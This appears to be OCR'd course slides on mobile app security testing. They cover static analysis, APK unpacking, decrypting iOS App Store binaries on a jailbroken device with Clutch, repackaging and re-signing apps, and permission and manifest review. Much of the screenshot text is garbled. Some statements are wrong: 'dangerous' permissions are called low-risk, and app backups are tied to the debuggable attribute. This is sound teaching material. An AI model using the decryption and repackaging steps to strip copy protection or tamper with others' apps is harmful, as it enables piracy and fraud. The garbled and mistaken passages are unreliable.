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+4$ Security Testing

Introduction

= The Security Testing is the process that verifies that a system complies with certain
security requirements.

= Such requirements may vary according to multiple factors:
Type of system: wired vs. wireless systems.
Context in which it is used: personal vs. business.
Applicable standards and regulations: information considered to be sensitive by a legislation.

= Many security testing processes are incomplete because aspects to analyse were not
previously defined or were defined without taking into consideration the type of system that
was going to be analysed.

KN
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+4$ Security Testing

Common Errors

Perform the testing only when the system has been completed.

The security testing should be performed during the whole software development
cycle.

Only analyse the software or technology.

There are further aspects to take into consideration, such as the interaction of users
with the software.

Users often take for granted that one security testing will identify all the issues
existing in a given system.

There are no perfect security analysis.
Certain behaviours of external agents are taken for granted.

The security testing should analyse the way that unexpected anomalies and events
affect the system.

Only use automatic techniques.
Automatic tools are limited and it is important to be aware of their abilities.
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+4$ Security Testing

Documentation

* The security testing should be
documented from the beginning to the
end.

« Elements to include in the analysis:

Security elements evaluated.

Specific elements of the system to be
tested in order to verify security criteria.

Tools used during the security testing.

Procedure performed for each criterion
and element.

Results obtained in the execution of every
procedure.

Recommendations to follow according to
the results obtained.
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+4$ Security Testing

Techniques

The security testing is based on different testing techniques.

Each technique provides information about different security criteria and in
different stages of the development’s lifecycle.

According to the information accessible by the analyst, the analysis can be
divided into two:

White box testing:

o The analysis has the source code and documentation on the system to be analysed.
Blackbox testing:

o The analyst only has the final version of the software to analyse and limited documentation.

o The analyst often has a controlled environment in which the testing can be performed.

o The analyst is able to access the source code of the application by using reverse engineering
technique.
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_#¢0 Security Testing Techniques

Manual Inspections and Reviews

It means the analysis of the existing documentation and interviews with
developers.

The analysis of documentation should include the revision of security
requirements, secure programming policies used, and system’s design.

Even if it may seem simple and ineffective, this type of analysis allows users to
detect multiple security problems in the early stages of development, avoid
vulnerabilities during the development process, and help to focus the rest of
tasks of the security testing in specific aspects of the system.

The “trust but verify” policy must be followed. The designers and the
documentation may provide erroneous data on the functioning of the system.

This type of analysis requires a lot of time, as well as the system to be
documented correctly.
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¢4$ Security Testing Techniques

Threat Modelling

Threat modelling catalogues and assesses risks and threats that may affect a
given system.

It is useful to identify elements of an application that should be reviewed during
other security testing tasks.

It generally implies the following steps:
Identification of assets and functionality of the system.
Assets classification and cataloguing according to their importance.
Identify technical, operational or management vulnerabilities that may affect assets.

Explore threats that the previously identified vulnerabilities may lead to. It can be
performed by creating attack scenarios.

Develop a mitigation plan for each threat.
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¢4$ Security Testing Techniques

Source Code Revision

It implies the revision of the source code of a given application in order to look for
existing vulnerabilities.

Static analysis techniques imply the analysis of application’s source code,
together with other elements.

The whole functionality of an application is illustrated on its source code,
therefore, it is the most suitable source to look for vulnerabilities in a given
application.

In some cases, it is the only possible way to find vulnerabilities in applications.

Examples: concurrency issues, erroneous business logic, absence of verification
for entry parameters, use of weak cryptography, etc.

It does not detect problems that may appear when executing the application.
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_#¢0 Security Testing Techniques

Penetration Test

= |t implies the security testing of a system from the outside, without knowing how
it works internally.

= |tis a black box testing technique, since the internal functioning of the application
IS not known in depth.

= In order to make the testing easier and to know the internal functioning of the
system to be analysed, reverse engineering techniques can be used.

= The system is executed (dynamic analysis) and a set of tests is applied from the
outside, in order to verify the security elements to analyse.

= |t requires the final product already developed and it should not replace the
mentioned techniques to avoid vulnerabilities in early stages of the development
cycle.
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¢4$ Security Testing Techniques

Penetration Test

The mobile environment provides a series of differentiating characteristics:
Wireless communication through multiple channels.
Portability.
Information of the environment collected via sensors.
Limitation of the computing capacity and the power consumption.
Use of applications with system access restrictions.

It implies a series of minimum criteria that have to be specifically considered
when performing a security testing in a mobile application:

Resources accessible by the application.
Data transmission through wireless means.
Data storage.

Information disclosure.

The following sections describe how to evaluate such aspects through static and
dynamic analysis techniques.
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¢4 Static Analysis

Introduction

= [timplies the analysis of an application, only by investigating its binary file,
without needing to execute it.
= The following elements are reviewed during the static analysis:

Source code, either the compiled source code or a different version or representation
obtained via reverse engineering.

Metadata of the application.
Configuration files of the application (manifest).

Resources accessible by the application:
o Images.
o Auxiliary text files
o Databases.
o Other files created by the application.
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¢4 Static Analysis

Analysable Elements

= The analysable elements of an application depend on the amount of information
owned:

If the source code of the application is available, it is possible to perform some tasks
directly on the application’s source code.

If the binary file is the only element available, the analysis is more limited.

If the binary file is stored in the device, it is possible to analyse some other files
generated by the application. However, this task is also part of the forensic analysis.

= The static analysis reveals:
Possible configuration problems of the application.
Whether the application transmits data to the Internet insecurely.

The storage security of different elements such as credentials, databases, other
sensitive files, etc.

Android API used by the application.
The security mechanisms used in the different elements of the app.
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¢4 Static Analysis

Methodology

When conducting the static analysis, it is advisable to have a plan including

security criteria to review and actions to carry out for the verification of each
criterion.

It is recommended:

To list the specific elements of the application to analyse.

To prepare the testing laboratory so that all the elements to analyse are accessible
through already installed tools.

To establish the report template, following the following structure:
o An executive summary that describes the main results of the analysis.
o One section for each analysable element:

— In each section, one subsection that includes the application’s specific element that has been analysed
to verify such element.

— Describe operations performed and results obtained in each subsection.

Prepare the binary files for the analysis.
Conduct the analysis using the report as a guide.
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40 Preparation of the Binary File

Introduction

When conducting a static analysis, an application may be in three different
conditions:

Packed in a compilable project, being the source code available.
Packed in a binary file that has not been installed.
Installed in a mobile device.

According to the classification and based on the available information, the first
case would be generally classified as a white box analysis; while the second and
the third ones would be considered black box analysis.

The static analysis is mainly focused on the first and the second case, and the
forensic analysis is based on the third one.

However, it is possible to conduct a static analysis of an application installed on a
device, since it may include the same elements as a binary file.
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40 Preparation of the Binary File

Introduction

= On many occasions and, particularly, in the mobile environment, the binary file
cannot be analysed directly. It may be due to the way that it is packed or the
encryption that protects the binary’s executable code.

= |n order to conduct the analysis, it is necessary to perform a previous processing
of the application that implies:

Unpacking the binary file into its different components:
o Source code.
o Images.
o Configuration files.
o Etc.
Decrypting encrypted elements:
o To this end, sometimes it is necessary to extract applications from the device directly.
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40 Preparation of the Binary File

Android

= In case it is necessary to obtain a binary file from the Android device, it is
necessary to do it from the directorydirectory/data/app:

Through the Android Device Monitor from Android Studio.

Android Device Monitor

%—5 Threads Heap Allocation Tracker | 5 Metwork Statistics File Explorer &3 \E
Name Size Date Time Permissions Infc
=d 2016-01... 18:. Irwxrwxrwx -> )
¥ = data 2015-03.. 07:.. drwxrwx--x
¥ [=app 2015-06... 13:. drwxrwx--x
€l ApiDemos.apk 4153.. 2013-08... 04:. -rw-r--r-- con
|=| ApiDemos.odex 8506.. 2013-08... 04:. -rw-r--r-
€l CubeliveWallpapers.apk 13253 2013-08.. 04:. -rw-r--r-- con
|=| CubelLiveWallpapers.odex 16664 2013-08.. 04:i. -rw-r--r-

Via adb:
o In platform-tools inside the sdk Android directory.
o Accessible from the Santoku Linux terminal.

T santoku@santoku-VirtualBox: ~

santokuBsantoku-YirtualBox:™$ adb pull Adatadapp/fichero,apkesl

Using third parties’ services such as APK Downloader through the network.
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40 Preparation of the Binary File

Android

= Once the binary file has been accessed, it is necessary to unpack it.

=  Apktool (included in Santoku Linux) is used to this end.
> apktool d fichero.apk

zantokulzanto
Input file
zantokulza

I+ Usi

I+ Lo idlnq -

[: Decodin )

[+ Loading res .2 tom File: dhomeszantoku/apk tool A rameworkS 1, apk
[: Regular man

It D_EDdlnq +11H

I

I+ Lup -d ~
santokulzantoku-y 1rfu1lBu "/Townloads$ [
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_¢¢<© Preparation of the Binary File

Android

= On Android, the decompiled code (dex) may be translated into a legible

assembler language (smali) by using a process called backsmailing (from
Icelandic, disassembler).

= Apktool creates smali files divided by classes, as they would exist in their
corresponding java form.

= Smali files have a 1:1 correspondence with their dex. It implies that smali files
may be modified and reassembled in a valid dex file.

In order to make the code reading easier, smali files can be translated into
Java, but the correspondence between both languages is not exact and it is
possible that not all the code of the application is exact.
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40 Preparation of the Binary File

Android
= The following directories are created:
sssas-s

AndroidMani apktool.yml
fest.xml

= assets: additional files used by the app.

= |ib: native libraries compiled to the processor dependent code.

= original: manifest and signatures in their original state.

= res: interface files, images, and other additional files.

= smali: smali: source code files in smali format (extracted from classes.dex).
= unknown: additional files without specific directory.

= AndroidManifest.xml: manifest file in a legible format.

= apktool.yml: Apktool log.
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40 Preparation of the Binary File

Android

= The following tools are used to this aim:

Dex2jar: it converts a dex file into a jar one with .class files compiled in bytecode of
original Java.

o Other alternatives such as enjarify, by Google, have been published in order to perform this
task.

JD-GUI: file decompiler from .class to .java.

= Once the jar file has been obtained, JD-GUI is opened. The jar file created is
selected and a tree structure including the java representation of the files is
shown. It has a jd-cli console version.

| 1 @ Development Tools + [ Bulb Security SPF
K sound & Video * | @@ Device Forensics v | = dex2jar
@ system Tools , [l Penetration Testing v %= Drozer
4> Preferences » W fasmin
_ m Wireless Analyzers v | S JD-GUI
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¢4 Preparation of the Binary File

Android

™% Java Decompiler - CaptivePortalActivity.class - + X
File Edit Navigate Search Help
= @
thatsﬁ.pp_dexzjar.jar |E|| v
T WITdlsdpp
>} accountsync J CaptivePortalActivity.class | v
> adm package com.whatsapp.messaging; '
> Hf appwidget | : .
> g camera +|import android.app.Activity;
> H contact public class CaptivePortalActivity extends Activity
> [ fieldstats {
» 3 gallerypicker private static bm a;
private static finmal Stringl[] z;
> B gcm
> 8 gdrive static
* 4 jobgueue {
»  HF memory String[] array0fStringl = new String[5];
¥ H messaging i::lgg_ﬁt;} = "K*¥\t\006";
g m String[] array0fString2 = array0fStringl;
»  [J] MessageService$1 int i _ A-
N CE—
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40 Preparation of the Binary File

10S
= The binary files downloaded from the App Store on iOS are encrypted.

= In order to access the executable binary, it is necessary to extract it from an iOS
device in which it has been installed. This operation requires the installation of
third parties’ utilities that need a jailbroken device.

= Therefore, previously to the binary file preparation, the way that the device has to
be prepared to conduct the static analysis of applications is reviewed.

Within this course, the steps required to configure the device in order to
extract and analyse binaries will be covered, but methods to jailbreak the
device will not.
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40 Preparation of the Binary File

I0S

= First of all, Cydia has to be used to install the utilities required.

Gédigo PIN = 21:02 -— 560 PIN = ¢ =
Acerca de Inicio Actualizar Q OpenssH (%]
@ Bienvenido a Cydia™
- por Jay Freeman (saurik)
Flcvia > [Psawik >
Destacados > @ Temas > | . |
T 3G Unrestrictor o¢; lre S >
gwe r t yui op

. Twitter, Facebook, Mail, &
IntelliScreenX ... 2°5o0om Vel &y Ll e Y S G By B

Messages on lock screen

B Gestionar cuenta > -l G G D D D A D |

| = | nzxcvbnm
% M Ayuda para actualizacion y D G WD D D Gy "
0 0% ©
Teléfono Mail Safari ,V" ot i | Cyt FtEles Ca\r"\_:os nstalado -?123 espaCIo

= Then, install the packet. Once the installation is finished, Cydia restarts the
SpringBoard.
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40 Preparation of the Binary File

I0S

= The same operation has to be performed to install BigBoss Recommended

tools.

Cddigo PIN = 21:06 (

Bigboss re|

(O BigBoss Recommended Tools

.?7123 espacio

Buscar

Cdédigo PIN = 21:06 [y 4

< Buscar Detalles Instalar

ﬂ BigBoss Recommended ...
1.3.2

@ Cambiar ajustes del paquete >

Autor >
(o=

Combined list of hacker tools. Cydia no
longer comes preinstalled with most useful
command line apps. This package installs
most the missing ones in one swoop. There
is no real package provided here. It is only a
set of depends on other various tools so
that your command line can become useful
again.

INEORMACION SORRE | A FLIENTE

Q

Buscar

Cadigo PIN < ¢ 21:08

Ejecutando

Descargando Syslog Commandline

Listo: Syslog Commandline

Descargando Erica Utilities

Listo: Erica U

Descargando BigBoss Recommended Tools
Listo: BigBoss Recommended Tools
Descargando Berkeley DB

Listo: Berkeley DB

Descargando APT 0.7 Strict

Listo: APT 0.7 Strict

Listo: APT 0.7 Strict
[
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40 Preparation of the Binary File

I0S

= The next step is to connect to the device via the terminal.

= To this end, it is necessary to know its IP.

= |tis possible to discover it in the “Settings” section.

Cdédigo PIN =+ 21:13

Ajustes

Modo Avién

i ——

Bluetooth

Datos moviles

Centro de notificaciones
Centro de control

No molestar

DHCP BootP

Cédigo PIN = 21113 () #

< Wi-Fi I

Omitir esta red

DIRECCION IP

Direccién IP 192.168.0.3

Mascara de subred  255.

Router 192.168.0.1
DNS 192.168.0.1
Dominios de busqueda Home

—~
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40 Preparation of the Binary File

I0S
= From Santoku or our computer in case it is Linux or Mac.

The password by default is alpine; it is recommended to modify it in the first
connection.

santoku@santoku-VirtualBox:~% ssh -nuT 1192.168.0.3

The authenticity of host "192. J. Il' lnu.H 3)" can't be estab 11 hed.

RSA key fingerprint 1is 59:1b:18 97:3 lll. ._.::-:1:-:14:.'-3-:1:5-3-:[2"1' b9 :
Are you sure you want to continue con '|F"1'l 19 (yes/no)? yes

Ua'ﬂiﬂﬂ Per r1|H|T1 ;djed 192.168.60.3" (RSA) Tu TlH 11 .t of known hosts.

'||||'|' l' lr|._.lll

iPhone:~ root# passwd
Changing password fo
W password:

W password:

siNncibe_
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40 Preparation of the Binary File

I0S

= Then, it is necessary to download the Clutch tool from the link below and to copy
the binary to /usr/bin in the iIOS device.

https://github.com/KJCracks/Clutch/releases

>scp Clutch-2.0-RC7 root@192.168.0.3:/usr/bin/Clutch

= Perform ssh to the device and execute Clutch on one of the applications
downloaded from the Store in order to obtain the decrypted binary file.

iPhone: fprivatefvar/root root®# Clutch -i

Installed apps:

1: The Calculator =com.itwcalculator.calculatorforipadfrees
Emoji Xpress =com.emeji.fresmiums

WhatsApp =net.whatsapp.WhatsApp>

Twitter =com.atebits.TweetieZ=

Calculator # <com.incpt.mobis.CalculatorSharp=

LEL I R FUR )

iPhone:/privatefvar/root root# Clutch -d 1

Now dumping UKTax

Preparing to dump =<UKSalaryCalc=

DUMP | ARMDumper <armv7= <UKSalaryCalc> Patched cryptid (32bit segment)
Dumping <UKSalaryCale= {armv7) | | ETA: BhB@mags

DUMP | ARMDumper =armv7= <UKSalaryCalc> Writing new checksum

DOME: /private/var/mobile/Documents/Dumped/UKTax—i056.8-{Clutch-2.8 RC7).ipa
Finished dumping UKTax in 4.2 seconds

iPhone:/privatefvar/root root# I
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40 Preparation of the Binary File

10S
= |tis possible to extract the API file obtained by using the scp command from an

analysis machine.

> scp root@ip dispositivo 1 os:path origen ipa
destino en mag analisis

= Extract the API file in a folder (it is a zip file) and open the binary file with
Hopper.

File Edit Find Modify MNavigate Debug

New I
Open... ®0 E R 4 UKSalaryCalc.app = i} a
Open Recent = e e
B iTunesArtwork .DS_Store B en.iproj > i UKSalaryCalc.hop
Close [ Payload » ., UKSalaryCalc.app 0/ icon_help.png S e T
o - & o omermg i A I
Save As... > @ .y @@0882C7 db  8x@0 ;
; #i| icon_home@2x.png 0000828 db  0x00
Produce Assembly Text File... O icon_information.png doooe2cs g: a0
9 @ icon_information®2x.png BBBGBZE: db ﬂ:“
9 @, icon_settings.png
LT - y e00082cC db  oxee
Produce New Executabl g 9, icon_settings@2x.png @eens2cd :: 0x00
. a - 1 a@eBB2ce Bx00 ;
Read Executable to Disassemble... " g :c“" 72.png I peB2CT db  8x00 ;
- lcon.pn
Read Debug Symbols File... a = |cun(;2ipng | A bazun Sh(/oxanty
e N g B Info.plist I 20008242 db  8x00 ;
-P d 00008243 db exee ;
g [l Launchimage-568h@2x.png M B00882d4 db  exa@e ;
g 1 Launchimag..68h@2x.png 200082d5 db exee ;
g = Last ¢ 20008206 db  Bxae ;
Il Launchimag...trait~ipad.png BEeR82d7 db  Bx@e@ :
g [ Launchimage-700@2x.png
g Pkglnf
g L Jithoptions: ==BEGINNING OF PROCEDURE
UKSalaryCalc
fithOptions:
Cancel Open
Inaanomn TAr ER — : Section _ text
application:handleOpenURL: :
jcati JRL:sou ; Range 8x82d8 - @xel
applicationDidReceiveMemeryWarning: Eﬂ‘js“fféiéaéééﬁac
applicationwillTerminate: : :
‘applicationSignificantTimeChange: EntryPoint:
application:willChangeStatusBarOrientatio... ggggg;g: g:gh g“-sgf"#;gé r7, 1y
teatinnedi tantat AAARDIA~ crr co! Teh wme s ume 1m0
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40 Preparation of the Binary File

10S
= |n the event of having the application’s source code, it would be possible to
extract the binaries from the iOS emulator.

= In this case, binaries will be compiled in x86 instead of ARM.

= The folder in which emulators in Xcode6 and later versions are stored is the
following: ~/Library/Developer/CoreSimulator/Devices

= Since random identifiers are used, it is necessary to order them to access the
last emulator that has been used (if the application has just been installed).

Name Date Modified -

» [7] 9A14CEEA-14CC-42A2-B961-2BA257FFEEFA Today, 22:36
device_set.plist Today, 22:09
» [7] 0BEOCBFF-5230-44B1-8975-BA731C54D0DD 5 Jan 2016, 23:28

R

= The binary will be stored in a folder within that folder, with an identifier such as:
Data/Containers/Bundle/Application/random (the .most recent one).

E 342C7038-..BC49C857CF * ., DamnVulnerablelOSApp.app
' D5575C45-...8D2688B81E »
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40 Preparation of the Binary File

I0S

= |tis possible to load and inspect the file form Hopper.

| SR AR T — | N .

- 7 MachO Header
o} __mh_execute_header:
ge@nopelepeenaae Bxfeedfact
# Tag Scope 00eA0ER100000004 dd 0x01000007
gopoRPRRleROORRRE dd BxP20000083
gopoRPRRlABReRBGC dd BxP2000e82
destroy_hel block_571
——Cestreyneiper Botk- 0000200100000010 dd 36
___70-[YapDatabaseCloudKitTransaction fl... APRAPRR1ARARRA1A dd PxPRRA13e8
__copy_helper_block_592 ge@napelepeenals dd Bxe0218085
__destroy_helper_block_593 ge@napeleg@endlc dd Bxﬁi‘iﬂi}ﬁﬁﬂﬂ
-[YapDatabaseCloudKitTransaction didCo... Load Command @
-[YapDatabaseCloudKitTransaction didRell... H
-[YapDatabaseCloudKitTransaction handle 00a0a00100000020 dd 0x0ea0a819
ggennaeloadennzd dd axepadeeda
-[YapDatabaseCloudKitTransaction handle... eRRARR1ARERRRA2E db L I - L R
-[YapDatabaseCloudKitTransaction handle... eoeeeeeloecesdln db 'R", "0, "\x@@', '\xee',
b 10009320 ge@napelep@enais dg gxgfadeepRdoRRORRR
Ao a 0000000100000040 dq @x0000000100000000
-[YapDatabaseCloudKitTransaction handle... gopoRPRRlABOORR4E dg BxP200Re0000DRADRBO
sub_1000f9c20 gopoRPRER1RBOORAB5G dg BxP200Re0000DRADRBO
B ) . geenaaeloadenass dd axepadeenn
-[YapDatabaseCloudKitTransaction handle... 0PRRRR1RRBRABSC dd PxARAARRRA
-[YapDatabaseCloudKitTransaction handle... oeeRPRe1eRERRRE6R dd 4]
-[YapDatabaseCloudKitTransaction handle... coepeaaleanann6s dd @x@oacesne
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+4$ Repackaging

Introduction

= |t means repacking an application that has been subjected to a reverse
engineering process.

= Before the repackaging, it is probable that any elements of the application have
been modified: code, assets, configuration files, etc.

= |tis performed due to different reasons, sometimes, for malicious purposes:
Add libraries to include functionalities.
Modify the code in order to mitigate security issues.
Remove the copy protection or premium restrictions.
Events monitoring created by the app (banking frauds, etc.).

After the packing, it is necessary to sign the app again with a new certificate,
but it does not have to be the original certificate that was used to sign it.
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+4$ Repackaging

Android

= On Android, the repackaging process is performed with apktool itself.
> apktool b dlrectorlo app

1 Building reso

1 Copying libs,

1 ]Eulln:|1r|.| apk. +11H

ankriowh +11H U

—mh ll Hl* —mh ik u=Yirtual Box ™ Townloads$ I

= In order to install the application, it is necessary to sign it again. This operation is
carried out with the jarsigner tool and a couple of public/private keys that can be
different from the orlglnal ones

A
4+ LENE T BT Y W]
]

g SHAlwithRSA -

=  Finally, in order tooptlmlze the RAM percentage consumed during the execution,
the file data lining is optimized.

>zipalign -v 4 sin alinear.apkalineado.apk
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+4$ Repackaging

10S

= Repackaging on iOS requires:
A jailbroken device in order to extract the apk file.
A program similar to Hooper to modify the instructions of the executable file.
A developer license to sign the application again.

= Once the program is loaded, it has to be modified by adding instructions such as
nop (it does not perform any operation).

o NV W (R
e movt ri
2 movw ri
Code With CPU Mode... n t}p H
Procedure With CPU Mode... 6 nop
Data 8 nop
Array a hp
c nop
Toggle Thumb Mode e nop
Format
Manage Types... b 2l
2 nop
4q

svclt #

Assemble Instruction...
NOP Region

= Sign the binary:

>codesign —fs “Nombre Developer” nombre binario
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+4$ Repackaging

10S

= Zip the file again and change the API extension.
Open in New Tab
Move to Trash
& Move to Dropbox

Get Info
Rename
Compress “"UKTax-i056.0-(Clutch-2.0 RC7)"

Duplicate

= Furthermore, it is possible to install it again in the device through the Xcode.
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++$ |dentification of Components of the Application

Introduction

= Generally, the main components of mobile applications are the elements that
expose apps to risks.

In the case of Android: activities, services, content providers and broadcast
receivers that communicate with each other and, probably, with other applications.

On iOS: visit and extension monitors of the application.

= |tis the first task to perform of a series of analysis tasks that are based on such
data.

Detection of application interfaces opened to other applications.
Listing of entry points of the application for fuzzing during the dynamic analysis.
Display of application components due to a misconfiguration.
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++$ |dentification of Components of the Application

Android

= On Android, all the components that are part of
the application are stated in its manifest.

= Except for broadcast receivers that can be
defined programmatically.

= The manifest of the application can be opened to
be read after the execution of APKtool:
The activities begin with the tag activity.
Services begin with the tag service.
Broadcast receivers begin with the tag receiver.
Content providers begin with the tag provider.

= Any of the components may specify a set of
permissions that will be required to the
application wanting to interact with the
component.
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++$ |dentification of Components of the Application

Android

= Activities, services, and receivers may specify, via filters, which intents it is
necessary to respond to.

An intent-filter includes:
o Action: it specifies the type of action required to the component.
o Category: it defines the category in which the specific filter is stored.

For a component to respond to an intent, both elements of the registered intent should
coincide with the one sent.

= Furthermore, it is possible to specify whether the component will respond to sent
intents from other applications by using the attribute exported:

exported="“true”, is able to respond to other application’s intents.
exported="“false”, is able to respond only to intents created by the application itself.
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++$ |dentification of Components of the Application

Android

Activities 0O

There may be services without specific filters. Such services must be
specifically called.

If they are not specified, Android establishes exported=false by default, due
to security reasons.

android:name="com.whatsapp.5ettingsNotifications" android:theme="@style/Theme.Prefs">

="android. intent.cat NOTIFICATION_PREFERENCES" />

ard| rdHidden|scree yout |sc 51 S5ize|uiMode" androl
yboard | k rdHidden|scr yout |sc Screens] 1Mo "0l
yboard | k n 5 51 i
yboard | k

ar rdHidden |
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++$ |dentification of Components of the Application

Android

Services

andro
android
androic
androic

L SR

There may be services without specific filters. Such services must be
specifically called.

It is possible to access the exported service through other applications by
using the action described in the filter.

id:name="com.whatsapp.memory.dump.MemoryDumplploadService" /=

'com.whatsapp.messaging.Mess
‘com.whatsapp MediaM f:
vd="1true" android:name="com.whatsapp.accountsync.AccountAuthenticatorService">

oid:name="android.accounts.AccountAuthenticator"/>

id: name="android.accounts.AccountAuthenticator" android: resource="@xml/authenticator" />
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++$ |dentification of Components of the Application

Android

Broadcast Receivers TN

In order to restrict the access of an application’s component to the rest of
apps via permissions, the attribute that should be used is android: permission

» As illustrated above, in both export=true cases, permissions are defined to
protect the exposed components.

.c2dm. intent.RECEIVE" />
«c2dm. intent.REGISTRATION" /=
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++$ |dentification of Components of the Application

Android

Content Providers 0O

Providers are identified with a URI through the attribute “authorities”.

As displayer above, in the case of Whatsapp, no providers are given to the
rest of applications.
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++$ |dentification of Components of the Application

I0S

On i0S, the document that includes information on the configuration of the
application is called info.plist and is stored in the root of the API file.

This file includes part of the information that describes the components of an iI0OS
application.

Furthermore, each extension of the application includes a plist file with
information about it that should include the NSExtension key with the type of
identifier.

Extensions are stored in different places within the device.

Type of extension Identifier

Action (Ul) com.apple.ui-services
Action (non-Ul) com.apple.services

Custom Keyboard com.apple.keyboard-service
Document Picker com.apple.fileprovider-ui
File Provider com.apple.fileprovider-nonui
Photo Editing com.apple.photo-editin
Share com.apple.share-services
Today com.apple.widget-extension
Watch App com.apple.watchkit

sincibe_ *



++$ |dentification of Components of the Application

10S
= Furthermore, the info.plist file stores information on URL that the application

accepts to receive in order to receive information from other applications.

= This information is stored in elements such as URL Schemes under the URL
Types key of the file.

I ¥ URL types L OQ Array ~ (1item)
| ¥ ltem 0 (None) Dictionary (2 items)
| Document Role +  String Mone

¥ URL Schemes - Array (1 itenn)

| Item O String dvia
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++$ |dentification of Components of the Application

I0S

= Controllers of the application are not included in the info.plist therefore; it is

necessary to find them with the code analysis.

= To this end, Hopper can be used to perform searches with the “controller” string

on the source code.

D A c P U

Q«Controller

o)

» Tag Scope

-[AppleWatchViewController viewDidLoad]

-[AttackingParseViewControl

ller viewDidLoad]

-[AttackingParseViewController didReceiveMemoryWarning]

-[AttackingParseViewControl!
=[Flurr
-[FlurryS
-[Flurrys
=[Flurr

ler read ArticleButtonTapped:]
oller viewDidLoad]
troller viewWillAppear:]
troller showSuccessAlert]

oller showFailureAlert]

= |tis possible that other controller do not include the “controller” string on the
name. For such elements, it is possible to look for methods that all the controllers
implement: “viewDidLoad’, “didReceiveMemoryWarning’, etc.
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++$ |dentification of Components of the Application

I0S

= In order to detect Appbelegate, follow the same process:

A ppDeIeg|
b Tag Scope

-[AppDelegate application:didFinishLaunchingWithOptions:]
-[AppDelegate application:openURL:sourceApplication:annotal
-[AppDelegate getParameters:]

-[AppDelegate applicationWillResignActive:]

-[AppDelegate applicationDidEnterBackground:]
-[AppDelegate applicationWillEnterForeground:]
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¢4 Permissions

Introduction

= The permission analysis allows us to get to know the restricted capabilities of the
operative system that the application may access.

= |n certain cases, it is possible that the application asks for permissions, but does
not use them.

= Even if it occurs, ideally, the permission would not have been included in the app,
since, in case the application has any vulnerabilities, it could be exploited by
attackers.

= When conducting the permission analysis, it is important to establish first which
permissions the application should request by reading its documentation and
description, publicly available on the store.
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¢4 Permissions

Android

= Regardless the Android version (6.0 and later ones as well), every application
should state permissions that the manifest file of the application is going to use.

= Permissions used by a given application are stored in the file:
AndroidManifest.xml.

= Such file is stored in the root of an apktool folder.

<uses-permission android:name="com.android.launcher.permission.INSTALL SHORTCUT"/>
<uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT"/=>
<uses-permission android:name="com.android.vending.BILLING" />

<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>

<uses-permission android:name="com.google.android.providers.gsf.permission.READ_GSERVICES"/>
<uses-permission android:name="com.sec.android.provider.badge.permission.READ"/>

<uses-permission android:name="com.sec.android.provider.badge.permission.WRITE"/>

<uses-permission android:name="com.htc.launcher.permission.READ_SETTINGS"/>

<uses-permission android:name="com.htc.launcher.permission.UPDATE_SHORTCUT"/>

<uses-permission android:name="com.sonyericsson.home.permission.BROADCAST BADGE"f>
<uses-permission android:name="com.whatsapp.permission.BROADCAST"/>

<uses-permission android:name="com.whatsapp.permission.C2D_MESSAGE"/>

<uses-permission android:name="com.whatsapp.permission.MAPS_RECEIVE"/>

<uses-permission android:name="com.whatsapp.permission.WVOIP_CALL"/>

<permission android:name="com.whatsapp.permission.BROADCAST" android:protectionLevel="signature"/>
<permission android:name="com.whatsapp.permission.C2D_MESSAGE" android:protectionLevel="signature"/>

A part of the permissions created and requested by Whatsapp
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¢4 Permissions

Android

= On Android, an application may:
Request permissions, by using the “uses-permission” tag.
Create a permission via the “permission” tag.
o In order to restrict the access to sensitive functionalities of the application via other apps.
= Permissions may be classified into four levels:
Normal: low-risk permissions. They are not mentioned during the installation.
Dangerous: low-risk permissions. They are described during the installation.

Signature: permissions that are only granted if the application that requests them is
signed by the same application that stated it.

SignatureOrSystem: it is the same as signature permissions but, in addition, it can be
used by applications of the operative system.
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¢S Additional Relevant Information on the Manifest

Android

The Android development environment provides various resources to facilitate
the programming of applications.

Such resources may be used by attackers if they are not deactivated properly
during the execution in the development of applications.

In order to identify them, it is only necessary to refer to certain attributes of the
manifest.

Activated debugging of the application:

o Itis performed via the android:debuggable=true attribute.

o In case that it is active, its dynamic analysis would be much easier.
Backups of the application:

o Itis performed via the android:debuggable=true attribute.

o Ifitis active, it is possible to carry out a backup of all the files of the application in order to
analyse it later.
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¢4 Permissions

10S
= OniQOS, there is no document of the application that describes the permissions

that it uses.

= |n order to access them, it is necessary to review the system’s privacy settings
and browse the different categories:

Carrier = 12:28 AM -
< Settings Privacy
Location Services On

ﬂ Contacts
—.' Calendars
~ Reminders
& Photos
Bluetooth Sharing
Microphone
B camera
¥ Health

HomeKit

As applications request access to your data, they will be
added in the categories above.

g Twitter
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¢4 Use of Sensitive APIs

Introduction

The fact that certain permissions are
stated in an application indicates that
certain protected elements of the system
are accessed.

Even if there is a permission, it does not
specify how the requested permission is
exactly used (or even if it is used).

For example on Android, the
READ_PHONE_STATE permission may
be used to discover the device’'s IMEI
(obviously sensitive data) or the Android
version installed (which is less
dangerous than the one mentioned
above).

Therefore, it is necessary to know how
applications use each permission as well.
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¢4 Use of Sensitive APIs

Android

Android’s documentation does not provides explicitly the connection between
permissions existing on Android and calls that such permissions request.

The Pscout project (http://pscout.csl.toronto.edu) created a tool to extract such
connection between permissions.

Pscout’s information has been integrated within the Androguard application for
static analysis.

In order to execute Androguard in Santoku Linux, it is necessary to execute the
following command:

> androlyze -s
It opens a Python console with all the Androguard's libraries loaded.

It is not necessary to know Python to use Androguard, but it is useful
(https://developers.google.com/edu/python/introduction?hl=en).
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¢4 Use of Sensitive APIs

Android

= Once executing the Androguard console, it is necessary to load the apk file.

a.get

android.
android.pe
android. pe
android. pe
android. pe
android. pe
android.pe
android.pe

APK ( "Downloads/WhatsApp.apk")

DETMLSS
rmiss
rmiss
rmiss
rmiss
rmiss
rmiss
rmiss

DEMM1SS

ion

ions()

JACCESS COARSE |_||| ATION',

1on. Al
ion. Al

ion
ion
ion
j_ an

AC WIFI
_AUTHENTICATE ACCOUNTS',
.BLUETOOTH"
BROADCAST_STICKY

ion.CAM

= In order to obtain calls to API that use permissions, it is necessary to load the

dex codes first.
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¢4 Use of Sensitive APIs

Android

= Then, request Androguard to analyse the dex file.

= In order to obtain calls that use permissions and their location in the classes

hierarchy. o Packet and Application method that uses
Permissions 555 the protected API

; Ljava/Llang/String; )V (0O
markAsContacted(Landroid

API protected by the
permission used

= The packet and the class may be located by browsing the smali directory
obtained by apktool or by the java classes obtained via JD-GUI.
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¢4 Use of Sensitive APIs

Android

It is possible that certain sensitive APIs are directly used by components of the
application (activities, services or broadcast receivers).

In this case, it is necessary to ensure the compliance with the following
conditions:

The component is not accessible from other applications (exported=false).

The component is accessible from other applications (exported=true), but its use
requires the application wanting to access the component to state the same
